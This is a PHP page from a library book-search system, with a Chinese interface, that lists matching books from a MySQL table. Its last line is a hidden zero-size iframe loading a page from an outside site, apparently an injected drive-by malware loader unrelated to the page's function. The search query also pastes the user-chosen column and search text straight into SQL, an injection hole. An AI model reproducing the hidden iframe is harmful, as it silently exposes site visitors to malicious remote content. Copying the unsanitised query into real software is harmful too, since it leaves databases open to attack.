<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="tszlcx.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td width="124" height="50" align="left" class="tabletitle">　圖書資料查詢</td>
      <td width='1' height="50" align="left" class="titlebg"></td>
      <td width="448" height="50" align="center" class="tabletitle"><span class="word">按

<?php 
echo "<select name='cx'>";
 
$sql="show columns from books";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";
}
echo "</select>";
 ?>

　查詢　
<input name="name" type="text" id="name" />
　
<input type="submit" name="submit" value="查詢" />
      </span></td>
      <td width="2" class="titlebg"></td>
      <td width="180" align="center" class="tabletitle">&nbsp;</td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="70"  align="center" class="word">編號</td>
      <td width="370" align="center" class="word">書　　　名</td>
      <td width="130" align="center" class="word">類　別</td>
      <td width="130" align="center" class="word">存放位置</td>
      <td width="128"  align="center" class="word">狀態</td>
    </tr>

<?php  //使用子查詢，查詢出選擇的某個類別的某本圖書的信息
if(!empty($_POST["submit"]))
{
$category=$_POST["cx"];
$name=$_POST["name"];

$sql="select * from bookmanagement.books where $category like '%".$_POST["name"]."%'";

//$sql="select * from bookmanagement.books where category in (select category from books where category='$category' and readername like '%".$_POST["readername"]."%')";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
	
 echo "<tr bgcolor='#BCD2E6'>";
 echo "<td height='20' align='center' class='word'>".$row["no"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["bookname"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["category"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["location"]."</td>";
 echo "<td height='20' align='center' class='word'>".$row["state"]."</td>";

 echo "</tr>";
 }
 }
?>
  </table> 
</form>

<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>